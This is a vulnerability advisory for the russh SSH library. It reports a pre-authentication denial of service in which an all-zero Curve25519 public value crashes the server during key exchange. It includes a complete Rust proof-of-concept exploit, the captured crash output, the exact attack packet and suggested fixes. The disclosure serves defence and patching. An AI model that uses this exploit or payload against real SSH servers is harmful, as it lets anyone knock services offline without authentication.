Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)

A pre-authentication denial-of-service panic in russh 0.62.2 (commit c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as of 2026-07-22). An unauthenticated client sends a single SSH_MSG_KEX_ECDH_INIT whose Q_C is 32 zero bytes. russh's Curve25519 KEX does not reject the all-zero peer public value, so server_dh() computes the all-zero shared secret and compute_exchange_hash() then calls encode_mpint(&shared.0, ...), which indexes s[i] at i == s.len() and panics (index out of bounds: the len is 32 but the index is 32) before host-key signature verification. The server KEX task dies on the first KEX message, before authentication.

This is reachable with the default server configuration (Config::default() → Preferred::DEFAULT, whose kex list includes curve25519-sha256) and requires no caller-supplied parameter. It is reproduced end-to-end against the unmodified real russh 0.62.2 library (a real server + raw TCP client over TCP); the PoC below links the real crate, not a copied snippet. The defect is still present on main HEAD (v0.62.3, 2026-07-22) and is not covered by any of the 11 published russh GHSA advisories (GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not Curve25519).

Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service.

Details

russh/src/kex/curve25519.rs, server_dh() (server path; attacker = client):

fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> {
    // only the 32-byte length is checked, NOT zero / low-order:
    let mut pubkey = MontgomeryPoint([0; 32]);
    pubkey.0.clone_from_slice(&payload[5..5 + 32]);      // line 73
    ...
    let shared = server_secret * client_pubkey;           // all-zero when client_pubkey == [0;32]
    self.shared_secret = Some(shared);                    // line 86
    Ok(())
}

The server then computes the exchange hash before verifying the host-key signature (russh/src/server/kex.rs):

kex.server_dh(exchange, &input.buffer)?;                    // line 247
...
let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?;  // line 274 — panics

compute_exchange_hash() calls encode_mpint(&shared.0, buffer), whose leading-zero skip loop advances i to s.len() and then indexes s[i] (russh/src/kex/mod.rs):

pub(crate) fn encode_mpint<W: Writer>(s: &[u8], w: &mut W) -> Result<(), Error> {
    let mut i = 0;
    while i < s.len() && s[i] == 0 { i += 1 }   // i advances to s.len() for all-zero input
    if s[i] & 0x80 != 0 {                        // line 482 — index out of bounds: s[s.len()]
        ...

On Curve25519, scalar * MontgomeryPoint([0;32]) yields MontgomeryPoint([0;32]) (the identity element), so the all-zero shared secret is attacker-controlled. RFC 7748 §6 requires implementations to detect and reject all-zero / low-order peer public values and shared secrets; russh does not. The client path (compute_shared_secret, curve25519.rs:110-142) has the same chain but is reached only after the server host-key signature is verified, so it requires a malicious server that can sign its own host key (same root cause, lower severity).

PoC

The PoC is a standalone examples/ binary that links the unmodified real russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK case (all-zero Q_C → panic) and a CONTROL case (random Q_C → completes kex), proving the panic is caused specifically by the all-zero value.

One-line reproducer

# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_t13_zero_curve25519
RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519

russh/examples/e2e_t13_zero_curve25519.rs

// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics
// russh's SSH exchange-hash computation.
//
// A real `russh::server` with `Config::default()` (curve25519-sha256 in the
// default kex list) + a real Ed25519 host key is started on a TCP listener.
// A raw TCP "attacker" client sends: SSH banner -> SSH_MSG_KEXINIT offering
// curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.
// The server drives the real path server_dh -> compute_exchange_hash ->
// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.

use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;

use byteorder::{BigEndian, ByteOrder};
use russh::server::{self, Handler};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};

const MSG_KEXINIT: u8 = 20;
const MSG_KEX_ECDH_INIT: u8 = 30;  // RFC 8731 §3
const MSG_KEX_ECDH_REPLY: u8 = 31;

#[tokio::main]
async fn main() {
    println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n");

    let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await;
    println!();
    let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await;

    println!("\n=== summary ===");
    println!("case    | server panicked | got ECDH_REPLY");
    println!("ATTACK  | {atk_panic:<15} | {atk_reply}   (Q_C = all-zero)");
    println!("CONTROL | {ctl_panic:<15} | {ctl_reply}   (Q_C = random non-zero)");

    if atk_panic && !atk_reply && !ctl_panic && ctl_reply {
        println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
        println!("   A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the");
        println!("   all-zero Curve25519 point makes the real russh server panic");
        println!("   inside encode_mpint (index out of bounds: len 32, index 32)");
        println!("   during compute_exchange_hash, BEFORE host-key verification.");
    } else {
        eprintln!("NOT reproduced");
        std::process::exit(1);
    }
}

enum QcKind { AllZero, Random }

async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) {
    let panicked = Arc::new(AtomicBool::new(false));
    {
        let flag = panicked.clone();
        let prev = std::panic::take_hook();
        std::panic::set_hook(Box::new(move |info| {
            flag.store(true, Ordering::SeqCst);
            eprintln!("[{label} server task panicked] {info}");
            prev(info);
        }));
    }

    // real russh server, DEFAULT config (curve25519-sha256 in the kex list)
    // + real Ed25519 host key.
    let mut config = server::Config::default();
    config.inactivity_timeout = None;
    config.auth_rejection_time = std::time::Duration::from_millis(1);
    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
    config.keys.push(
        russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),
    );
    let config = Arc::new(config);

    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let addr = listener.local_addr().unwrap();
    let server_task = tokio::spawn(async move {
        let (socket, _peer) = listener.accept().await.unwrap();
        let session = server::run_stream(config, socket, NoopHandler).await.unwrap();
        session.await
    });

    // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C)
    let mut s = TcpStream::connect(addr).await.unwrap();
    s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap();
    s.flush().await.unwrap();
    let _server_id = read_ssh_id(&mut s).await.unwrap();
    let _server_kexinit = read_packet(&mut s).await.unwrap();
    s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap();
    s.flush().await.unwrap();

    let q_c: [u8; 32] = match qc {
        QcKind::AllZero => [0u8; 32],
        QcKind::Random => {
            let mut b: [u8; 32] = rand::random();
            if b.iter().all(|&x| x == 0) { b[0] = 1; }
            b
        }
    };
    let mut ecdh_init = Vec::new();
    ecdh_init.push(MSG_KEX_ECDH_INIT);
    encode_string(&mut ecdh_init, &q_c);
    s.write_all(&ssh_packet(&ecdh_init)).await.unwrap();
    s.flush().await.unwrap();
    let qdesc = match qc { QcKind::AllZero => "all-zero", QcKind::Random => "random" };
    println!("[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})");

    let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&mut s)).await {
        Ok(Ok(pkt)) => {
            let is_reply = pkt.first() == Some(&MSG_KEX_ECDH_REPLY);
            println!("[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})", pkt.first());
            is_reply
        }
        _ => { println!("[{label}] read failed / connection closed (no ECDH_REPLY)"); false }
    };

    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
    let server_panicked = panicked.load(Ordering::SeqCst);
    println!("[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}");
    let _ = std::panic::take_hook();
    (server_panicked, got_reply)
}

#[derive(Clone)]
struct NoopHandler;
impl Handler for NoopHandler { type Error = russh::Error; }

fn kexinit_payload_curve25519() -> Vec<u8> {
    let mut p = Vec::new();
    p.push(MSG_KEXINIT);
    p.extend_from_slice(&[0u8; 16]); // cookie
    encode_name_list(&mut p, &["curve25519-sha256"]);          // kex
    encode_name_list(&mut p, &["ssh-ed25519"]);                // host key
    encode_name_list(&mut p, &["[email protected]"]); // c2s cipher
    encode_name_list(&mut p, &["[email protected]"]); // s2c cipher
    encode_name_list(&mut p, &["hmac-sha2-256"]);              // c2s mac
    encode_name_list(&mut p, &["hmac-sha2-256"]);              // s2c mac
    encode_name_list(&mut p, &["none"]);                      // c2s compression
    encode_name_list(&mut p, &["none"]);                      // s2c compression
    encode_name_list(&mut p, &[]);                            // c2s languages
    encode_name_list(&mut p, &[]);                            // s2c languages
    p.push(0);                                                // first_kex_packet_follows = false
    push_u32(&mut p, 0);                                      // reserved
    p
}

fn ssh_packet(payload: &[u8]) -> Vec<u8> {
    let mut padding_len = 8 - ((5 + payload.len()) % 8);
    if padding_len < 4 { padding_len += 8; }
    let packet_len = 1 + payload.len() + padding_len;
    let mut packet = Vec::with_capacity(4 + packet_len);
    push_u32(&mut packet, packet_len as u32);
    packet.push(padding_len as u8);
    packet.extend_from_slice(payload);
    packet.resize(packet.len() + padding_len, 0);
    packet
}

async fn read_packet(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
    let mut len_buf = [0u8; 4];
    stream.read_exact(&mut len_buf).await?;
    let packet_len = BigEndian::read_u32(&len_buf) as usize;
    let mut packet = vec![0u8; packet_len];
    stream.read_exact(&mut packet).await?;
    let padding_len = packet[0] as usize;
    Ok(packet[1..packet.len() - padding_len].to_vec())
}

async fn read_ssh_id(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
    let mut id = Vec::new();
    loop {
        let mut byte = [0u8; 1];
        stream.read_exact(&mut byte).await?;
        id.push(byte[0]);
        if byte[0] == b'\n' { return Ok(id); }
    }
}

fn encode_name_list(buf: &mut Vec<u8>, names: &[&str]) { encode_string(buf, names.join(",").as_bytes()); }
fn encode_string(buf: &mut Vec<u8>, value: &[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }
fn push_u32(buf: &mut Vec<u8>, value: u32) {
    let mut bytes = [0u8; 4];
    BigEndian::write_u32(&mut bytes, value);
    buf.extend_from_slice(&bytes);
}

Real captured output (ATTACK, RUST_BACKTRACE=1):

[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)
[ATTACK  server task panicked] panicked at russh/src/kex/mod.rs:482:8:
index out of bounds: the len is 32 but the index is 32
thread 'tokio-rt-worker' panicked at russh/src/kex/mod.rs:482:8
stack backtrace:
   3: russh::kex::encode_mpint::<CryptoVec>
   4: <Curve25519Kex as KexAlgorithmImplementor>::compute_exchange_hash
   5: <ServerKex>::step ... server::reply ... Session::run
[ATTACK ] server task panicked = true, got ECDH_REPLY = false
[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)
[CONTROL] server task panicked = false, got ECDH_REPLY = true
=> CONFIRMED (end-to-end, real russh 0.62.2)

The backtrace confirms the real in-library call path on a tokio worker, pre-authentication, before any host-key signature verification.

Impact

Remote, pre-authentication denial of service of any russh SSH server using the default configuration. A single 37-byte SSH_MSG_KEX_ECDH_INIT (0x1e

• 0x00000020 + 32 zero bytes) from an unauthenticated client crashes the server's KEX task before authentication. Because the panic is in an async russh task it aborts that connection's handler; depending on the embedder's panic containment it can also tear down the server if the panic is not contained per-connection.

A malicious SSH server can symmetrically crash a russh client after host-key verification by sending an all-zero Q_S in SSH_MSG_KEX_ECDH_REPLY (same root cause, lower severity — requires the server to control its own signed host key).

No confidentiality/integrity break is demonstrated. The all-zero shared secret would itself be a catastrophic key-compromise if russh did not already crash, but the observed impact is the crash.

CVSS

• AV:N — reachable from a remote SSH peer
• AC:L — requires only a 32-byte all-zero Q_C
• PR:N — pre-authentication
• UI:N — no user interaction
• C:N, I:N — no confidentiality or integrity impact demonstrated
• A:H — remote unauthenticated crash of the server KEX task

Suggested fixes

Reject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in server_dh() / compute_shared_secret():

if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

and harden encode_mpint against the all-zero input:

if i == s.len() {
    return 0u32.encode(w);   // all-zero mpint = empty string per RFC 4251 §5
}

Affected versions

• russh <= 0.62.3 (commit c4be19f1915c / current main HEAD v0.62.3, 2026-07-22). The bug is still present on main; it is not covered by any of the 11 published russh GHSA advisories. Default server::Config and client::Config are affected (no feature flag or opt-in).

Credit

Independently reported by Zhaodl1 and the diff/ambidiff security research effort (afldl).